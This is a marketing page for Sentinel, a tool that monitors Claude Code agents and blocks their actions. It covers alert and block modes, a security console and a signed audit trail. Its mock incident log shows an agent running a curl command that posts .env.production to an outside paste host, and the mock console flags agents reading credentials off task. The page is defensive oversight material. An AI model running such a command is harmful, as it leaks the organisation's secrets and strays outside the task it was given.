Runtime behavioral security for AI agents

Everyone on your enterprise Claude plan can deploy agents. Nobody is watching what they do.

Sentinel is the enforcement layer between your agents and everything they touch. Your security team watches every action, blocks what crosses policy before it runs, and proves every decision on a signed, tamper-evident record.

Deterministic, no model in the decision. Non-bypassable. In your own boundary.

Book a demo See how enforcement works
Deploy in two commands Copy
$npm install @tuent/sentinel
$npx @tuent/sentinel init claude-code
One incident, as the security team sees it. An agent goes off task, Sentinel stops it.
incident · payments-api · Claude Code session under Sentinel
14:02:03Triage the failing build and open a PR with the fix.
14:02:11Read, Edit · src/build.tsallowed
14:02:38Bash(curl paste.lol -d @.env.production)blocked
Sends a secrets file to an unlisted host. Does not match
the task. Intent drift, caught before it ran. No model in the decision.
14:02:38Sentinel recommends a policy update
This role denied network egress 4 times this week.
Recommend deny network  [ approve ]  [ adjust ]
3 decisions written to the signed audit trailed25519 · chain intact
Stopped at the pre-execution gate
Deterministic, no model in the path
Then it recommends a policy fix
Advisors and mentors from
Palo Alto Networks Google Cloud IBM Intel SailPoint cPacket Nura Studios Santa Clara University
Apache 2.0 open source· Live on npm· CSA AARM Builders Registry· Runs in your boundary
For the security team
Watch your fleet for three weeks, free.
The pilot opens in alert mode with zero developer friction and hands you a report of what your agents actually did.
Start the pilot →
For the developer
Protect your next session in five minutes.
Install the package, wire the hook, and watch the first blocked action in one sitting. Free and open source.
Run the quickstart →
01 · Alert mode to block mode

Watch first. Enforce when you're ready.

Turn Sentinel on in alert mode and it takes no action. It watches every agent, builds a behavioral baseline, and hands your security team a record of what your agents actually did, with no developer friction and nothing blocked. When you have seen enough, move the controls to block mode and out-of-bounds actions are stopped at the pre-execution gate, before the side effect lands.

Alert mode

See a week of agent behavior, without touching a thing.

Every action logged, nothing blocked
A behavioral baseline per role and workspace
A report of what your agents did, zero developer friction
Block mode

Flip the switch. Out-of-bounds actions stop before they run.

Stopped at the pre-execution gate, side effect never lands
Credentials and hard rules denied by default
Turn it on per control, at the pace your team sets
02 · Why it is different

Behavior, not inventory.

A few teams are building in this lane. Sentinel is the one that runs in process, stays deterministic, and gives the security team the console. Here is where the tools you already own fall short.

Endpoint tools

They detect presence.

They can tell you Claude is installed. They cannot tell you what the agent did, and they go blind the moment it runs inside a container.

Gateways and proxies

They see traffic, not intent.

A proxy sits outside the agent. Put a model in the block path and it inherits the same prompt injection surface as the agent it is judging.

Native hooks

They are the floor.

Claude Code's own hooks are the strongest free primitive, and Sentinel builds on them. What they lack: learned policy, a fleet console, a behavioral baseline, a signed trail, and a recovery loop.

03 · One system, two views

The security team stays in control. The developer keeps shipping.

Same enforcement underneath, two surfaces on top. The security owner sees the whole fleet and gets to the five things that need a human in ten seconds. The developer sees only their own work.

sentinel · operations console · acme-eng
all Claude Code user machine id workspace
Endpoints
4,812
Sessions
3,318
Quarantined
480
Need review
5
Needs your review5 of 480 flagged
Credential read on production secret
j.reyes · jc-mbp16 · payments-api · hard rule
critical
Skill "auto-deploy" reaches for env vars
14 devs affected · cross-org pattern
critical
Agent hit an unlisted external host
m.osei · mo-wkstn · data-pipeline · escalated to model
high
Five denials, session quarantined
a.khan · ak-mbp14 · auth-service
high
475 informational findings loggedOpen triage →
(Tuent)/Sentinelyour workspace
Agent pausednow
Tried to read .env.production during "refactor the invoice formatter."
Out of scope for this task · claude-code
Release and continue
Keep blocked
Behavior normal
142 known patterns · 1 deviation today
Was this stop correct?
Yes
No

The console is the security team's surface. The developer sees one card: what stopped, why, and one button to release it. Hard rules stay locked.

04 · The record

Every decision lands on a signed record.

Each enforcement decision is written to a per-project, Ed25519 signed, tamper-evident audit trail. Which agent, which action, which policy, and why. Running in process gives you provenance a proxy cannot reconstruct.

And when a stop is wrong, recovery is built in. At fleet scale false positives dominate over attacks, so the recovery loop is a first-class feature, not an apology.

Release the stop and mark it a false positive
Sentinel reconstructs why the stop fired and proposes a narrow, expiring suppression
A person approves it. Nothing is auto-applied. The human stays the sole author of policy.
audit trail · payments-apichain verified
14:02:11Read src/invoice.tsallowa3f1…
14:02:38Bash curl api.stripe.comdenyc87d…
14:03:02released · marked false positivehumane219…
Suppression candidate
Allow egress to api.stripe.com for this role only, expires in 7 days.
ApproveReject
Built for the audit ahead

The record regulators are about to require.

Article 12 of the EU AI Act requires providers of high-risk AI systems to keep automatic records of events across the system's lifetime. Sentinel writes a signed, tamper-evident record of every agent action, allowed or denied, per project. It is designed to produce the records Article 12 describes, in place before the requirement lands.

<1ms
Core decision
0
Tokens on the core path
0
Network hops
100%
Actions logged
05 · FAQ

Questions, answered.

Can I run Sentinel without blocking anything at first?+

Yes. Start in alert mode and Sentinel takes no action. It watches every agent, builds a behavioral baseline, and gives your security team a record of what your agents actually did, with zero developer friction. When you have seen enough, move the controls to block mode and out-of-bounds actions are stopped before they run.

How is this different from our EDR or a network gateway?+

Endpoint tools detect presence. They can tell you Claude is installed, not what the agent did, and they go blind when it runs in a container. A gateway sees traffic, not intent, and a model in the block path inherits the same prompt injection surface as the agent it is judging. Sentinel runs in process, at the semantic layer, deterministically, with no model in the decision.

Does Sentinel use an LLM to make decisions?+

The core is deterministic and runs in process, with no model on the block path. Credentials and hard rules are always decided that way. Only genuinely ambiguous cases can escalate to a model, and you choose which one. It runs in your boundary, never on Tuent's.

Why not just use Claude Code's own hooks and permissions?+

Sentinel builds on them. Native hooks are the strongest free primitive, and they are the floor we stand on. What they do not give you: policy that learns itself from your team's approvals and denials instead of hand-written shell commands, an operations console a security admin can run across the whole fleet, a behavioral baseline that catches intent drift rather than only static allow and deny, a signed tamper-evident audit trail, and a recovery loop for the false positives that dominate at scale.

Which agents does it cover?+

Claude Code today, through a native hook. That is the only live integration to start. Support for additional runtimes is on the roadmap, and the policy model is built to extend without forking per tool.

Is any of my data sent off the machine?+

No. Sentinel runs on-prem. Even model escalation uses an endpoint you bring, inside your own boundary, so nothing about your agents, code, or actions reaches Tuent.

Put every agent action under control.

Book a walkthrough and we will run a live agent through Sentinel: alert mode, block mode, and the signed record, on your use case. Free three week pilot, shaped to your team.

Book a demo See how enforcement works

Developers can start today, free and open source, with npm install @tuent/sentinel